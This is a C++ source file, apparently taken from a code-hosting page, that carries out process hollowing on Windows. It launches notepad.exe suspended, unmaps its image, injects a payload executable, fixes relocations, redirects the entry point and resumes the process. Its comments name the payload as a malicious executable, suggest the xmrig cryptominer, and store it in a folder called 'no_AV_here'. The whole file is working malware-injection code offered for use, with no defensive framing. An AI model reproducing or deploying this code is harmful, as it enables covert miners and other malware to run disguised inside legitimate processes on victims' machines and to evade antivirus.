119 lines
6.6 KiB
C++
119 lines
6.6 KiB
C++
#include <windows.h>
|
|
#include <winternl.h>
|
|
#include <iostream>
|
|
#include <vector>
|
|
#include <string>
|
|
|
|
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
|
|
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
|
|
|
int main() {
|
|
// Path to the legitimate process to hollow (e.g., a benign system exe)
|
|
const char* targetPath = "C:\\Windows\\System32\\notepad.exe"; // Or explorer.exe
|
|
// Path to your malicious PE executable (the payload to inject as the new image)
|
|
const char* payloadPath = "C:\\Users\\MyWindowsUser\\Downloads\\no_AV_here\\libphotoshop.dll"; // Replace with your xmrig.exe or equivalent PE
|
|
STARTUPINFOA si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
// Step 1: Create suspended process
|
|
BOOL created = CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
|
if (!created) {
|
|
std::cerr << "CreateProcessA failed: " << GetLastError() << std::endl;
|
|
return 1;
|
|
}
|
|
// Step 2: Get PEB and image base
|
|
PROCESS_BASIC_INFORMATION pbi;
|
|
ULONG returnLength;
|
|
pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
|
|
NTSTATUS status = NtQuery(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
|
|
if (status != 0) {
|
|
std::cerr << "NtQueryInformationProcess failed: " << status << std::endl;
|
|
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
return 1;
|
|
}
|
|
PVOID imageBase;
|
|
PVOID pebImageBasePtr = (PVOID)((BYTE*)pbi.PebBaseAddress + 0x10); // Offset for ImageBaseAddress in x64 PEB
|
|
if (!ReadProcessMemory(pi.hProcess, pebImageBasePtr, &imageBase, sizeof(imageBase), NULL)) {
|
|
std::cerr << "ReadProcessMemory (ImageBase) failed: " << GetLastError() << std::endl;
|
|
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
return 1;
|
|
}
|
|
// Step 3: Unmap original image
|
|
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection");
|
|
status = NtUnmap(pi.hProcess, imageBase);
|
|
if (status != 0) {
|
|
std::cerr << "NtUnmapViewOfSection failed: " << status << std::endl;
|
|
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
return 1;
|
|
}
|
|
// Step 4: Read payload PE from disk
|
|
HANDLE hFile = CreateFileA(payloadPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
std::cerr << "CreateFile (payload) failed: " << GetLastError() << std::endl;
|
|
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
return 1;
|
|
}
|
|
DWORD payloadSize = GetFileSize(hFile, NULL);
|
|
std::vector<BYTE> payload(payloadSize);
|
|
ReadFile(hFile, payload.data(), payloadSize, NULL, NULL);
|
|
CloseHandle(hFile);
|
|
// Parse payload headers
|
|
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload.data();
|
|
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(payload.data() + dosHeader->e_lfanew);
|
|
PVOID payloadImageBase = (PVOID)ntHeader->OptionalHeader.ImageBase;
|
|
SIZE_T payloadImageSize = ntHeader->OptionalHeader.SizeOfImage;
|
|
// Step 5: Allocate memory in target process (prefer payload's base, but fallback if occupied)
|
|
PVOID newImageBase = VirtualAllocEx(pi.hProcess, payloadImageBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (!newImageBase) {
|
|
newImageBase = VirtualAllocEx(pi.hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (!newImageBase) {
|
|
std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
|
|
ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
|
|
return 1;
|
|
}
|
|
}
|
|
// Step 6: Write headers and sections
|
|
WriteProcessMemory(pi.hProcess, newImageBase, payload.data(), ntHeader->OptionalHeader.SizeOfHeaders, NULL);
|
|
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
|
|
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
|
|
PVOID sectionDest = (PVOID)((SIZE_T)newImageBase + sectionHeader->VirtualAddress);
|
|
PVOID sectionSrc = (PVOID)(payload.data() + sectionHeader->PointerToRawData);
|
|
WriteProcessMemory(pi.hProcess, sectionDest, sectionSrc, sectionHeader->SizeOfRawData, NULL);
|
|
sectionHeader++;
|
|
}
|
|
// Step 7: Handle relocations if base changed
|
|
if (newImageBase != payloadImageBase) {
|
|
PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
|
if (relocDir->VirtualAddress) {
|
|
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)newImageBase + relocDir->VirtualAddress);
|
|
SIZE_T delta = (SIZE_T)newImageBase - (SIZE_T)payloadImageBase;
|
|
while (reloc->VirtualAddress) {
|
|
PWORD entry = (PWORD)((SIZE_T)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
|
for (DWORD j = 0; j < (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); j++, entry++) {
|
|
if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) {
|
|
PULONG64 ptr = (PULONG64)((SIZE_T)newImageBase + reloc->VirtualAddress + (*entry & 0xFFF));
|
|
ULONG64 oldValue = 0;
|
|
ReadProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL);
|
|
oldValue += delta;
|
|
WriteProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL);
|
|
}
|
|
}
|
|
reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)reloc + reloc->SizeOfBlock);
|
|
}
|
|
}
|
|
}
|
|
// Step 8: Update PEB image base
|
|
WriteProcessMemory(pi.hProcess, pebImageBasePtr, &newImageBase, sizeof(newImageBase), NULL);
|
|
// Step 9: Update thread context with new entry point
|
|
CONTEXT ctx = { 0 };
|
|
ctx.ContextFlags = CONTEXT_FULL;
|
|
GetThreadContext(pi.hThread, &ctx);
|
|
ctx.Rcx = (DWORD64)newImageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; // Entry point in RCX for x64
|
|
SetThreadContext(pi.hThread, &ctx);
|
|
// Step 10: Resume thread
|
|
ResumeThread(pi.hThread);
|
|
std::cout << "Process hollowed and payload injected into PID " << pi.dwProcessId << std::endl;
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return 0;
|
|
}
|